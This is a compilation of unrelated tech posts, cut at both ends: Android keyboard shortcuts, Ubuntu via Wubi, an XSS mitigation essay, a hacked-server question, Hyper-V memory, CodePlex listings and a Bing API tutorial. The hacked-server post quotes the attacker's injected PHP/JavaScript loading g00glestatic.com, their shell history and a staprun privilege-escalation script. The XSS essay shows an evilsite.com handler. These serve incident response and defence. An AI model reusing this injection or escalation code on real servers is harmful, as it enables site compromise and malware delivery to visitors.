settings” select “Application shortcuts” to continue: You can have up to 16 custom application shortcuts. We are going to create a custom shortcut to the Facebook app. We choose “A0”, and from the resulting list, Facebook. You can do this for any number of apps, services, and settings. As you can now see, the Facebook app has now been linked to application-zero (A0): Go back to the “Advanced settings” and choose “Customize keyboard mappings”: You will be prompted to create a custom keyboard layout so we choose “Custom 1”: When you choose to create a custom layout, you can do a great many more things with your keyboard. For example, many keyboards have predefined function (Fn) keys, which you can map to your tablet’s brightness controls, toggle WiFi on/off, and much more. A word of advice, the application automatically remaps certain keys when you create a custom layout. This might mess up some existing keyboard combos. If you simply want to add some functionality to your keyboard, you can go ahead and delete EKH’s default changes and start your custom layout from scratch. To create a new combo, select “Add new key mapping”: For our new shortcut, we are going to assign the Facebook app to open when we key in “ALT + F”. To do this, we press the “F” key while in the “Scancode” field and we see it returns a value of “33”. If we wanted to use a different key, we can press “Change” and scan another key’s numerical value. We now want to assign the “ALT” key to application “A0”, previously designated as the Facebook app. In the “AltGr” field, we enter “A0” and then “Save” our custom combo. And now we see our new application shortcut. Now, as long as we’re using our custom layout, every time we press “ALT + F”, the Facebook app will launch: External Keyboard Helper extends far beyond simple application shortcuts and if you are looking for deeper keyboard customization options, you should definitely check it out. Among other things, EKH also supports dozens of languages, allows you to quickly switch between layouts using a key or combo, add up to 16 custom text shortcuts, and much more! It can be had on Google Play for $2.53 for the full version, but you can try the demo version for free. More extensive documentation on how to use the app is also available. Android? Keyboard? Sure, why not? Unlike traditional desktop operating systems, you don’t need a physical keyboard and mouse to use a mobile operating system. You can buy an iPad or Nexus 10 or Galaxy Note, and never need another accessory or peripheral – they work as intended right out of the box. It’s even possible you can write the next great American novel on one these devices, though that might require a lot of practice and patience. That said, using a keyboard with Android is kind of fun. It’s not revelatory but it does elevate the experience. You don’t even need to add customizations (though they are nice) because there are enough existing keyboard shortcuts in Android to make it usable. Plus, when it comes to inputting text such as in an editor or terminal application, we fully advocate big, physical keyboards. Bottom line, if you’re looking for a way to enhance your Android tablet, give a keyboard a chance. Do you use your Android device for productivity? Is a physical keyboard an important part of your setup? Do you have any shortcuts that we missed? Sound off in the comments and let us know what you think.     

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• Install Ubuntu Netbook Edition with Wubi Installer

  - by Matthew Guay

  Ubuntu is one of the most popular versions of Linux, and their Netbook Remix edition is especially attractive for netbook owners.  Here we’ll look at how you can easily try out Ubuntu on your netbook without a CD/DVD drive. Netbooks, along with the growing number of thin, full powered laptops, lack a CD/DVD drive.  Installing software isn’t much of a problem since most programs, whether free or for-pay, are available for download.  Operating systems, however, are usually installed from a disk.  You can easily install Windows 7 from a flash drive with our tutorial, but installing Ubuntu from a USB flash drive is more complicated.  However, using Wubi, a Windows installer for Ubuntu, you can easily install it directly on your netbook and even uninstall it with only a few clicks. Getting Started Download and run the Wubi installer for Ubuntu (link below).  In the installer, select the drive you where you wish to install Ubuntu, the size of the installation (this is the amount dedicated to Ubuntu; under 20Gb should be fine), language, username, and desired password.  Also, from the Desktop environment menu, select Ubuntu Netbook to install the netbook edition.  Click Install when your settings are correct. Wubi will automatically download the selected version of Ubuntu and install it on your computer. Windows Firewall may ask if you want to unblock Wubi; select your network and click Allow access. The download will take around an hour on broadband, depending on your internet connection speed.  Once the download is completed, it will automatically install to your computer.  If you’d prefer to have everything downloaded before you start the install, download the ISO of Ubuntu Netbook edition (link below) and save it in the same folder as Wubi. Then, when you run Wubi, select the netbook edition as before and click Install.  Wubi will verify that your download is valid, and will then proceed to install from the downloaded ISO.  This install will only take about 10 minutes. Once the install is finished you will be asked to reboot your computer.  Save anything else you’re working on, and then reboot to finish setting up Ubuntu on your netbook. When your computer reboots, select Ubuntu at the boot screen.  Wubi leaves the default OS as Windows 7, so if you don’t select anything it will boot into Windows 7 after a few seconds. Ubuntu will automatically finish the install when you boot into it the first time.  This took about 12 minutes in our test. When the setup is finished, your netbook will reboot one more time.  Remember again to select Ubuntu at the boot screen.  You’ll then see a second boot screen; press your Enter key to select the default.   Ubuntu only took less than a minute to boot in our test.  When you see the login screen, select your name and enter your password you setup in Wubi.  Now you’re ready to start exploring Ubuntu Netbook Remix. Using Ubuntu Netbook Remix Ubuntu Netbook Remix offers a simple, full-screen interface to take the best advantage of netbooks’ small screens.  Pre-installed applications are displayed in the application launcher, and are organized by category.  Click once to open an application. The first screen on the application launcher shows your favorite programs.  If you’d like to add another application to the favorites pane, click the plus sign beside its icon. Your files from Windows are still accessible from Ubuntu Netbook Remix.  From the home screen, select Files & Folders on the left menu, and then click the icon that says something like 100GB Filesystem under the Volumes section. Now you’ll be able to see all of your files from Windows.  Your user files such as documents, music, and pictures should be located in Documents and Settings in a folder with your user name. You can also easily install a variety of free applications via the Software Installer. Connecting to the internet is also easy, as Ubuntu Netbook Remix automatically recognized the WiFi adaptor on our test netbook, a Samsung N150.  To connect to a wireless network, click the wireless icon on the top right of the screen and select the network’s name from the list. And, if you’d like to customize your screen, right-click on the application launcher and select Change desktop background. Choose a background picture you’d like. Now you’ll see it through your application launcher.  Nice! Most applications are opened full-screen.  You can close them by clicking the x on the right of the program’s name. You can also switch to other applications from their icons on the top left.  Open the home screen by clicking the Ubuntu logo in the far left. Changing Boot Options By default, Wubi will leave Windows as the default operating system, and will give you 10 seconds at boot to choose to boot into Ubuntu.  To change this, boot into Windows and enter Advanced system settings in your start menu search. In this dialog, click Settings under Startup and Recovery. From this dialog, you can select the default operating system and the time to display list of operating systems.  You can enter a lower number to make the boot screen appear for less time. And if you’d rather make Ubuntu the default operating system, select it from the drop-down list.   Uninstalling Ubuntu Netbook Remix If you decide you don’t want to keep Ubuntu Netbook Remix on your computer, you can uninstall it just like you uninstall any normal application.  Boot your computer into Windows, open Control Panel, click Uninstall a Program, and enter ubuntu in the search box.  Select it, and click Uninstall. Click Uninstall at the prompt.  Ubuntu uninstalls very quickly, and removes the entry from the bootloader as well, so your computer is just like it was before you installed it.   Conclusion Ubuntu Netbook Remix offers an attractive Linux interface for netbooks.  We enjoyed trying it out, and found it much more user-friendly than most Linux distros.  And with the Wubi installer, you can install it risk-free and try it out on your netbook.  Or, if you’d like to try out another alternate netbook operating system, check out our article on Jolicloud, another new OS for netbooks. Links Download Wubi Installer for Windows Download Ubuntu Netbook Edition Similar Articles Productive Geek Tips Easily Install Ubuntu Linux with Windows Using the Wubi InstallerInstall VMware Tools on Ubuntu Edgy EftHow to install Spotify in Ubuntu 9.10 using WineInstalling PHP5 and Apache on UbuntuInstalling PHP4 and Apache on Ubuntu TouchFreeze Alternative in AutoHotkey The Icy Undertow Desktop Windows Home Server – Backup to LAN The Clear & Clean Desktop Use This Bookmarklet to Easily Get Albums Use AutoHotkey to Assign a Hotkey to a Specific Window Latest Software Reviews Tinyhacker Random Tips VMware Workstation 7 Acronis Online Backup DVDFab 6 Revo Uninstaller Pro Explorer++ is a Worthy Windows Explorer Alternative Error Goblin Explains Windows Error Codes Twelve must-have Google Chrome plugins Cool Looking Skins for Windows Media Player 12 Move the Mouse Pointer With Your Face Movement Using eViacam Boot Windows Faster With Boot Performance Diagnostics

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• Wishful Thinking: Why can't HTML fix Script Attacks at the Source?

  - by Rick Strahl

  The Web can be an evil place, especially if you're a Web Developer blissfully unaware of Cross Site Script Attacks (XSS). Even if you are aware of XSS in all of its insidious forms, it's extremely complex to deal with all the issues if you're taking user input and you're actually allowing users to post raw HTML into an application. I'm dealing with this again today in a Web application where legacy data contains raw HTML that has to be displayed and users ask for the ability to use raw HTML as input for listings. The first line of defense of course is: Just say no to HTML input from users. If you don't allow HTML input directly and use HTML Encoding (HttyUtility.HtmlEncode() in .NET or using standard ASP.NET MVC output @Model.Content) you're fairly safe at least from the HTML input provided. Both WebForms and Razor support HtmlEncoded content, although Razor makes it the default. In Razor the default @ expression syntax:@Model.UserContent automatically produces HTML encoded content - you actually have to go out of your way to create raw HTML content (safe by default) using @Html.Raw() or the HtmlString class. In Web Forms (V4) you can use:<%: Model.UserContent %> or if you're using a version prior to 4.0:<%= HttpUtility.HtmlEncode(Model.UserContent) %> This works great as a hedge against embedded <script> tags and HTML markup as any HTML is turned into text that displays as HTML but doesn't render the HTML. But it turns any embedded HTML markup tags into plain text. If you need to display HTML in raw form with the markup tags rendering based on user input this approach is worthless. If you do accept HTML input and need to echo the rendered HTML input back, the task of cleaning up that HTML is a complex task. In the projects I work on, customers are frequently asking for the ability to post raw HTML quite frequently.  Almost every app that I've built where there's document content from users we start out with text only input - possibly using something like MarkDown - but inevitably users want to just post plain old HTML they created in some other rich editing application. See this a lot with realtors especially who often want to reuse their postings easily in multiple places. In my work this is a common problem I need to deal with and I've tried dozens of different methods from sanitizing, simple rejection of input to custom markup schemes none of which have ever felt comfortable to me. They work in a half assed, hacked together sort of way but I always live in fear of missing something vital which is *really easy to do*. My Wishlist Item: A <restricted> tag in HTML Let me dream here for a second on how to address this problem. It seems to me the easiest place where this can be fixed is: In the browser. Browsers are actually executing script code so they have a lot of control over the script code that resides in a page. What if there was a way to specify that you want to turn off script code for a block of HTML? The main issue when dealing with HTML raw input isn't that we as developers are unaware of the implications of user input, but the fact that we sometimes have to display raw HTML input the user provides. So the problem markup is usually isolated in only a very specific part of the document. So, what if we had a way to specify that in any given HTML block, no script code could execute by wrapping it into a tag that disables all script functionality in the browser? This would include <script> tags and any document script attributes like onclick, onfocus etc. and potentially also disallow things like iFrames that can potentially be scripted from the within the iFrame's target. I'd like to see something along these lines:<article> <restricted allowscripts="no" allowiframes="no"> <div>Some content</div> <script>alert('go ahead make my day, punk!");</script> <div onfocus="$.getJson('http://evilsite.com/')">more content</div> </restricted> </article> A tag like this would basically disallow all script code from firing from any HTML that's rendered within it. You'd use this only on code that you actually render from your data only and only if you are dealing with custom data. So something like this:<article> <restricted> @Html.Raw(Model.UserContent) </restricted> </article> For browsers this would actually be easy to intercept. They render the DOM and control loading and execution of scripts that are loaded through it. All the browser would have to do is suspend execution of <script> tags and not hookup any event handlers defined via markup in this block. Given all the crazy XSS attacks that exist and the prevalence of this problem this would go a long way towards preventing at least coded script attacks in the DOM. And it seems like a totally doable solution that wouldn't be very difficult to implement by vendors. There would also need to be some logic in the parser to not allow an </restricted> or <restricted> tag into the content as to short-circuit the rstricted section (per James Hart's comment). I'm sure there are other issues to consider as well that I didn't think of in my off-the-back-of-a-napkin concept here but the idea overall seems worth consideration I think. Without code running in a user supplied HTML block it'd be pretty hard to compromise a local HTML document and pass information like Cookies to a server. Or even send data to a server period. Short of an iFrame that can access the parent frame (which is another restriction that should be available on this <restricted> tag) that could potentially communicate back, there's not a lot a malicious site could do. The HTML could still 'phone home' via image links and href links potentially and basically say this site was accessed, but without the ability to run script code it would be pretty tough to pass along critical information to the server beyond that. Ahhhh… one can dream… Not holding my breath of course. The design by committee that is the W3C can't agree on anything in timeframes measured less than decades, but maybe this is one place where browser vendors can actually step up the pressure. This is something in their best interest to reduce the attack surface for vulnerabilities on their browser platforms significantly. Several people commented on Twitter today that there isn't enough discussion on issues like this that address serious needs in the web browser space. Realistically security has to be a number one concern with Web applications in general - there isn't a Web app out there that is not vulnerable. And yet nothing has been done to address these security issues even though there might be relatively easy solutions to make this happen. It'll take time, and it's probably not going to happen in our lifetime, but maybe this rambling thought sparks some ideas on how this sort of restriction can get into browsers in some way in the future.© Rick Strahl, West Wind Technologies, 2005-2012Posted in ASP.NET  HTML5  HTML  Security   Tweet !function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs"); (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })();

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• Mass targeted malware installed - g00glestatic.com [closed]

  - by Silver89

  Possible Duplicate: My server’s been hacked EMERGENCY I run a webserver which over the last few days seems to have become infected with malware that tries to include content from "http://g00glestatic.com/s.js" It appears the attacker gained access to one of the user accounts (not root), made a few changes, added a few files and ran a few bash commands. These changes stuck out clearly to me because it is not a shared server and I am the only person with access through very secure passwords. The php/javascript code that was added .php files, this code was added: #9c282e# if(!$srvc_counter) { echo "<script type=\"text/javascript\" src=\"http://g00glestatic.com/s.js\"></script>"; $srvc_counter = true;} #/9c282e# .js files, this code was added: /*9c282e*/ var _f = document.createElement('iframe'),_r = 'setAttribute'; _f[_r]('src', 'http://g00glestatic.com/s.js'); _f.style.position = 'absolute';_f.style.width = '10px'; _f[_r]('frameborder', navigator.userAgent.indexOf('bf3f1f8686832c30d7c764265f8e7ce8') + 1); _f.style.left = '-5540px'; document.write('<div id=\'MIX_ADS\'></div>'); document.getElementById('MIX_ADS').appendChild(_f); /*/9c282e*/ The bash command taken from .bash_history (Some usernames/passwords have been subbed) su -c id $replacedPassword id; id; sudo id; replacedPassword id; cd /home/replacedUserId1; chmod +x .sess_28e2f1bc755ed3ca48b32fbcb55b91a7; ./.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; rm /home/replacedUserId1/.sess_28e2f1bc755ed3ca48b32fbcb55b91a7; id; cd /home/replacedUserId1; chmod +x .sess_05ee5257fed0ac8e0f12096f4c3c0d20; ./.sess_05ee5257fed0ac8e0f12096f4c3c0d20; rm /home/replacedUserId1/.sess_05ee5257fed0ac8e0f12096f4c3c0d20; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_bfa542fc2578cce68eb373782c5689b9; ./.sess_bfa542fc2578cce68eb373782c5689b9; rm /home/replacedUserId1/.sess_bfa542fc2578cce68eb373782c5689b9; id; cd /home/replacedUserId1; chmod +x .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; ./.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; rm /home/replacedUserId1/.sess_fb19dfb52ed4a3ae810cd4454ac6ef1e; id; kill -9 $$;; kill -9 $$;; kill -9 $$; The above seems to move files added to the public_html to the level above? I also have all 4 of the files that were added: .sess_28e2f1bc755ed3ca48b32fbcb55b91a7 .sess_05ee5257fed0ac8e0f12096f4c3c0d20 .sess_bfa542fc2578cce68eb373782c5689b9 .sess_fb19dfb52ed4a3ae810cd4454ac6ef1e Of those four above files, three are none viewable in notepad++ and display null characters, whereas sess_fb19dfb52ed4a3ae810cd4454ac6ef1e consists of: #!/bin/sh export PATH=$PATH:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/bin; export LC_ALL=en_US.UTF-8 LC_COLLATE=en_US.UTF-8 LC_CTYPE=en_US.UTF-8 LANG=en_US.UTF-8 LANGUAGE=en_US.UTF-8 export TERM=linux echo -n "-> checking staprun: "; if which staprun 2>&1 | grep -q "no $1"; then flag=1 elif [ -z "`which $1 2>&1`" ]; then flag=1; fi if [ "$flag" = "1" ]; then echo "no staprun, exiting"; exit; else echo "found"; echo "-> trying to exploit... "; printf "install uprobes /bin/sh" > ololo.conf; MODPROBE_OPTIONS="-C ololo.conf" staprun -u ololo rm -f ololo.conf fi Other Noticeable Edits Any files that contain: ([.htaccess]|[index|header|footer].php|[*.js]) will have been modified and all system file and directory permissions will have been changed to: x--x--x My steps to remove this malware re uploaded original php/js files to revert any changes Changed all user passwords Modified hosts.allow to a static ip so that only I have access Removed the above 4 files and checked all modified file dates within that directory to check for any other recent modifications, none can be found Conclusion I'm hoping that as they did not have root access, any changes they wished to make higher up failed and they were only able to display an iframe on the site for a short amount of time? What else do I need to look for to check the malware infection has not spread? Second Conclusion This malware sinks too deep to 'clean', if you get infected I recommend a server nuke and rebuild from backups with increased security. Possibility It's possible that Filezilla ftp passwords were stolen through a trojan as they're unfortunately stored unencrypted. However Trend Micro Titanium has not found any. The settings box to disable passwords being saved has now been ticked, I also recommend that you take this action.

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• SQL Server and Hyper-V Dynamic Memory - Part 1

  - by SQLOS Team

  SQL and Dynamic Memory Blog Post Series   Hyper-V Dynamic Memory is a new feature in Windows Server 2008 R2 SP1 that allows the memory assigned to guest virtual machines to vary according to demand. Using this feature with SQL Server is supported, but how well does it work in an environment where available memory can vary dynamically, especially since SQL Server likes memory, and is not very eager to let go of it? The next three posts will look at this question in detail. In Part 1 Serdar Sutay, a program manager in the Windows Hyper-V team, introduces Dynamic Memory with an overview of the basic architecture, configuration and monitoring concepts. In subsequent parts we will look at SQL Server memory handling, and develop some guidelines on using SQL Server with Dynamic Memory.   Part 1: Dynamic Memory Introduction   In virtualized environments memory is often the bottleneck for reaching higher VM densities. In Windows Server 2008 R2 SP1 Hyper-V introduced a new feature “Dynamic Memory” to improve VM densities on Hyper-V hosts. Dynamic Memory increases the memory utilization in virtualized environments by enabling VM memory to be changed dynamically when the VM is running.   This brings up the question of how to utilize this feature with SQL Server VMs as SQL Server performance is very sensitive to the memory being used. In the next three posts we’ll discuss the internals of Dynamic Memory, SQL Server Memory Management and how to use Dynamic Memory with SQL Server VMs.   Memory Utilization Efficiency in Virtualized Environments   The primary reason memory is usually the bottleneck for higher VM densities is that users tend to be generous when assigning memory to their VMs. Here are some memory sizing practices we’ve heard from customers:   ·         I assign 4 GB of memory to my VMs. I don’t know if all of it is being used by the applications but no one complains. ·         I take the minimum system requirements and add 50% more. ·         I go with the recommendations provided by my software vendor.   In reality correctly sizing a virtual machine requires significant effort to monitor the memory usage of the applications. Since this is not done in most environments, VMs are usually over-provisioned in terms of memory. In other words, a SQL Server VM that is assigned 4 GB of memory may not need to use 4 GB.   How does Dynamic Memory help?   Dynamic Memory improves the memory utilization by removing the requirement to determine the memory need for an application. Hyper-V determines the memory needed by applications in the VM by evaluating the memory usage information in the guest with Dynamic Memory. VMs can start with a small amount of memory and they can be assigned more memory dynamically based on the workload of applications running inside.   Overview of Dynamic Memory Concepts   ·         Startup Memory: Startup Memory is the starting amount of memory when Dynamic Memory is enabled for a VM. Dynamic Memory will make sure that this amount of memory is always assigned to the VMs by default.   ·         Maximum Memory: Maximum Memory specifies the maximum amount of memory that a VM can grow to with Dynamic Memory. ·         Memory Demand: Memory Demand is the amount determined by Dynamic Memory as the memory needed by the applications in the VM. In Windows Server 2008 R2 SP1, this is equal to the total amount of committed memory of the VM. ·         Memory Buffer: Memory Buffer is the amount of memory assigned to the VMs in addition to their memory demand to satisfy immediate memory requirements and file cache needs.   Once Dynamic Memory is enabled for a VM, it will start with the “Startup Memory”. After the boot process Dynamic Memory will determine the “Memory Demand” of the VM. Based on this memory demand it will determine the amount of “Memory Buffer” that needs to be assigned to the VM. Dynamic Memory will assign the total of “Memory Demand” and “Memory Buffer” to the VM as long as this value is less than “Maximum Memory” and as long as physical memory is available on the host.   What happens when there is not enough physical memory available on the host?   Once there is not enough physical memory on the host to satisfy VM needs, Dynamic Memory will assign less than needed amount of memory to the VMs based on their importance. A concept known as “Memory Weight” is used to determine how much VMs should be penalized based on their needed amount of memory. “Memory Weight” is a configuration setting on the VM. It can be configured to be higher for the VMs with high performance requirements. Under high memory pressure on the host, the “Memory Weight” of the VMs are evaluated in a relative manner and the VMs with lower relative “Memory Weight” will be penalized more than the ones with higher “Memory Weight”.   Dynamic Memory Configuration   Based on these concepts “Startup Memory”, “Maximum Memory”, “Memory Buffer” and “Memory Weight” can be configured as shown below in Windows Server 2008 R2 SP1 Hyper-V Manager. Memory Demand is automatically calculated by Dynamic Memory once VMs start running.     Dynamic Memory Monitoring    In Windows Server 2008 R2 SP1, Hyper-V Manager displays the memory status of VMs in the following three columns:         ·         Assigned Memory represents the current physical memory assigned to the VM. In regular conditions this will be equal to the sum of “Memory Demand” and “Memory Buffer” assigned to the VM. When there is not enough memory on the host, this value can go below the Memory Demand determined for the VM. ·         Memory Demand displays the current “Memory Demand” determined for the VM. ·         Memory Status displays the current memory status of the VM. This column can represent three values for a VM: o   OK: In this condition the VM is assigned the total of Memory Demand and Memory Buffer it needs. o   Low: In this condition the VM is assigned all the Memory Demand and a certain percentage of the Memory Buffer it needs. o   Warning: In this condition the VM is assigned a lower memory than its Memory Demand. When VMs are running in this condition, it’s likely that they will exhibit performance problems due to internal paging happening in the VM.    So far so good! But how does it work with SQL Server?   SQL Server is aggressive in terms of memory usage for good reasons. This raises the question: How do SQL Server and Dynamic Memory work together? To understand the full story, we’ll first need to understand how SQL Server Memory Management works. This will be covered in our second post in “SQL and Dynamic Memory” series. Meanwhile if you want to dive deeper into Dynamic Memory you can check the below posts from the Windows Virtualization Team Blog:   http://blogs.technet.com/virtualization/archive/2010/03/18/dynamic-memory-coming-to-hyper-v.aspx   http://blogs.technet.com/virtualization/archive/2010/03/25/dynamic-memory-coming-to-hyper-v-part-2.aspx   http://blogs.technet.com/virtualization/archive/2010/04/07/dynamic-memory-coming-to-hyper-v-part-3.aspx   http://blogs.technet.com/b/virtualization/archive/2010/04/21/dynamic-memory-coming-to-hyper-v-part-4.aspx   http://blogs.technet.com/b/virtualization/archive/2010/05/20/dynamic-memory-coming-to-hyper-v-part-5.aspx   http://blogs.technet.com/b/virtualization/archive/2010/07/12/dynamic-memory-coming-to-hyper-v-part-6.aspx   - Serdar Sutay   Originally posted at http://blogs.msdn.com/b/sqlosteam/

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• CodePlex Daily Summary for Friday, February 26, 2010

  CodePlex Daily Summary for Friday, February 26, 2010New Projectsaion-gamecp: Aion Gamecp for aion Private server based on Aion UniqueAzure Email Queuer: Azure Email Queuer makes it easier for Developers Programming in the Cloud to Queue Emails to keep the UI Thread Clear for Requests. Developed w...BIG1: Bob and Ian's Game. Written using XNA Game Studio Express. Basically an update of David Braben and Ian Bell's classic game "Elite." This is a nonco...CMS7: CMS7 The CMS7 is composed of three module. (1)Main CMS Business (2)Process Customization (3)Role/Department CustomizationCoreSharp Networking Core: A simple to use framework to develop efficient client/server application. The framework is part of my project at school and I hope it will benefit ...Fullscreen Countdown: Small and basic countdown application. The countdown window can be resized to fit any size to display the minutes elapsed. Developped in C#, .NET F...IRC4N00bz: Learning sockets, events, delegates, SQL, and IRC commands all in one big project! It's written in C# (Csharp) and hope you find it helpfull, or ev...LjSystem: This project is a collection of my extensions to the BCLMP3 Tags Management: A software to manage the tags of MP3 filesnetone: All net in oneNext Dart (Dublin Area Rapid Transport): The shows the times of the next darts from a given station. It is a windows application that updates automatically and so is easier to use than th...PChat - An OCDotNet.Org Presentation: PChat is a multithreaded pinnable chat server and client. It is designed to be a demonstration of Visual Studio 2010 MVC 2, for ocdotnet.org Use...Pittsburgh Code Camp iPhone App: The Pittsburgh Code Camp iPhone Application is meant as a demonstration of the creation of an iPhone application while at the same time providing t...Radical: Radical is an infrastructure frameworkRadioAutomation: Windows application for radio automation.SilverSynth - Digital Audio Synthesis for Silverlight: SilverSynth is a digial audio synthesis library for Silverlight developers to create synthesized wave forms from code. It supports synthesis of sin...SkeinLibManaged: This implementation of the Skein Cryptographic Hash function is written entirely in Managed CSharp. It is posted here to share with the world at l...SpecExplorerEval: We are checking out spec explorer and presenting on its useSPOJemu: This is a SPOJ emulator. It allows you to define tests in xml and then check your application if it's working as you expected.The C# Skype Chat bot: A Skype bot in C# for managing Skype chats.VS 2010 Architecture Layers Patterns: Architecture layers patterns toolbox items for layers diagrams.Yakiimo3D: Mostly DirectX 11 programming tutorials.代码生成器: Project DetailsNew ReleasesArkSwitch: ArkSwitch v1.1.1: This release fixes a crash that occurs when certain processes with multiple primary windows are encountered.BTP Tools: CSB, CUV and HCSB e-Sword files 2010-02-26: include csb.bbl csb+.bbl csb.cmt csbc.dct cuv.bbl cuv+.bbl cuv.cmt cuvc.dct hcsb+.bbl hcsbc.dct files for e-Sword 8.0BubbleBurst: BubbleBurst v1.1: This is the second release of BubbleBurst, the subject of the book Advanced MVVM. This release contains a minor fix that was added after the book ...DevTreks -social budgeting that improves lives and livelihoods: Social Budgeting Web Software, alpha 3b: Alpha 3b simplifies and strengthens state management. With the exception of linked lists, the internal mechanics of addins have not been improved...Dragonrealms PvpStance plugin for Genie: 1.0.0.4: This updated is needed now that the DR server move broke the "profile soandso pvp" syntax. This version will capture the pvp stance out of the full...FastCode: FastCode 1.0: Definitions <integerType> : byte, sbyte, short, ushort, int, uint, long, ulond <floatType> : float, double, decimal Base types extensions Intege...Fullscreen Countdown: Fullscreen Countdown 1.0: First versionIRC4N00bz: IRC4N00bz_02252010.zip: I'm calling it a night. Here's the dll for where I'm at so far. It works, just lakcs some abilities. Anything not included can be pulled from th...Labrado: Labrado MiniTimer: Labrado MiniTimer is a convenient timer tool designed and implemented for GMAT test preparation.LINQ to VFP: LinqToVfp (v1.0.17.1): Cleaned up WCF Data Service Expression Tree. (details...) This build requires IQToolkit v0.17b.Microsoft Health Common User Interface: Release 8.0.200.000: This is version 8.0 of the Microsoft® Health Common User Interface Control Toolkit. The scope and requirements of this release are based on materia...Mini SQL Query: Mini SQL Query Funky Dev Build (RC1+): The "Funk Dev Build" bit is that I added a couple of features I think are pretty cool. It is a "dev" build but I class it as stable. Find Object...Neovolve: Neovolve.BlogEngine.Extensions 1.2: Updated extensions to work with BE 1.6. Updated Snippets extension to better handle excluded tags and fixed regex bug. Added SyntaxHighlighter exte...Neovolve: Neovolve.BlogEngine.Web 1.1: Update to support BE version 1.6 Neovolve.BlogEngine.Web 1.1 contains a redirector module that translates Community Server url formats into BlogEn...Next Dart (Dublin Area Rapid Transport): 1.0: There are 2 files NextDart 1.0.zip This contains just the files. Extract it to a folder and run NextDart.exe. NextDart 1.0 Intaller.zip This c...Powershell4SQL: Version 1.2: Changes from version 1.1 Added additional attributes to simplify syntax. Server and Database become optional. Defaulted to (local) and 'master' ...Radical: Radical (Desktop) 1.0: First stable dropRaidTracker: Raid Tracker: a few tweaksRaiser's Edge API Developer Toolkit: Alpha Release 1: This is an untested, alpha release. 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• Integrate Bing Search API into ASP.Net application

  - by sreejukg

  Couple of months back, I wrote an article about how to integrate Bing Search engine (API 2.0) with ASP.Net website. You can refer the article here http://weblogs.asp.net/sreejukg/archive/2012/04/07/integrate-bing-api-for-search-inside-asp-net-web-application.aspx Things are changing rapidly in the tech world and Bing has also changed! The Bing Search API 2.0 will work until August 1, 2012, after that it will not return results. Shocked? Don’t worry the API has moved to Windows Azure market place and available for you to sign up and continue using it and there is a free version available based on your usage. In this article, I am going to explain how you can integrate the new Bing API that is available in the Windows Azure market place with your website. You can access the Windows Azure market place from the below link https://datamarket.azure.com/ There is lot of applications available for you to subscribe and use. Bing is one of them. You can find the new Bing Search API from the below link https://datamarket.azure.com/dataset/5BA839F1-12CE-4CCE-BF57-A49D98D29A44 To get access to Bing Search API, first you need to register an account with Windows Azure market place. Sign in to the Windows Azure market place site using your windows live account. Once you sign in with your windows live account, you need to register to Windows Azure Market place account. From the Windows Azure market place, you will see the sign in button it the top right of the page. Clicking on the sign in button will take you to the Windows live ID authentication page. You can enter a windows live ID here to login. Once logged in you will see the Registration page for the Windows Azure market place as follows. You can agree or disagree for the email address usage by Microsoft. I believe selecting the check box means you will get email about what is happening in Windows Azure market place. Click on continue button once you are done. In the next page, you should accept the terms of use, it is not optional, you must agree to terms and conditions. Scroll down to the page and select the I agree checkbox and click on Register Button. Now you are a registered member of Windows Azure market place. You can subscribe to data applications. In order to use BING API in your application, you must obtain your account Key, in the previous version of Bing you were required an API key, the current version uses Account Key instead. Once you logged in to the Windows Azure market place, you can see “My Account” in the top menu, from the Top menu; go to “My Account” Section. From the My Account section, you can manage your subscriptions and Account Keys. Account Keys will be used by your applications to access the subscriptions from the market place. Click on My Account link, you can see Account Keys in the left menu and then Add an account key or you can use the default Account key available. Creating account key is very simple process. Also you can remove the account keys you create if necessary. The next step is to subscribe to BING Search API. At this moment, Bing Offers 2 APIs for search. The available options are as follows. 1. Bing Search API - https://datamarket.azure.com/dataset/5ba839f1-12ce-4cce-bf57-a49d98d29a44 2. Bing Search API – Web Results only - https://datamarket.azure.com/dataset/8818f55e-2fe5-4ce3-a617-0b8ba8419f65 The difference is that the later will give you only web results where the other you can specify the source type such as image, video, web, news etc. Carefully choose the API based on your application requirements. In this article, I am going to use Web Results Only API, but the steps will be similar to both. Go to the API page https://datamarket.azure.com/dataset/8818f55e-2fe5-4ce3-a617-0b8ba8419f65, you can see the subscription options in the right side. And in the bottom of the page you can see the free option Since I am going to use the free options, just Click the Sign Up link for that. Just select I agree check box and click on the Sign Up button. You will get a recipt pagethat detail your subscription. Now you are ready Bing Search API – Web results. The next step is to integrate the API into your ASP.Net application. Now if you go to the Search API page (as well as in the Receipt page), you can see a .Net C# Class Library link, click on the link, you will get a code file named “BingSearchContainer.cs”. In the following sections I am going to demonstrate the use of Bing Search API from an ASP.Net application. Create an empty ASP.Net web application. In the solution explorer, the application will looks as follows. Now add the downloaded code file (“BingSearchContainer.cs”) to the project. Right click your project in solution explorer, Add -> existing item, then browse to the downloaded location, select the “BingSearchContainer.cs” file and add it to the project. To build the code file you need to add reference to the following library. System.Data.Services.Client You can find the library in the .Net tab, when you select Add -> Reference Try to build your project now; it should build without any errors. Add an ASP.Net page to the project. I have included a text box and a button, then a Grid View to the page. The idea is to Search the text entered and display the results in the gridview. The page will look in the Visual Studio Designer as follows. The markup of the page is as follows. In the button click event handler for the search button, I have used the following code. Now run your project and enter some text in the text box and click the Search button, you will see the results coming from Bing, cool. I entered the text “Microsoft” in the textbox and clicked on the button and I got the following results. Searching Specific Websites If you want to search a particular website, you pass the site url with site:<site url name> and if you have more sites, use pipe (|). e.g. The following search query site:microsoft.com | site:adobe.com design will search the word design and return the results from Microsoft.com and Adobe.com See the sample code that search only Microsoft.com for the text entered for the above sample. var webResults = bingContainer.Web("site:www.Microsoft.com " + txtSearch.Text, null, null, null, null, null, null); Paging the results returned by the API By default the BING API will return 100 results based on your 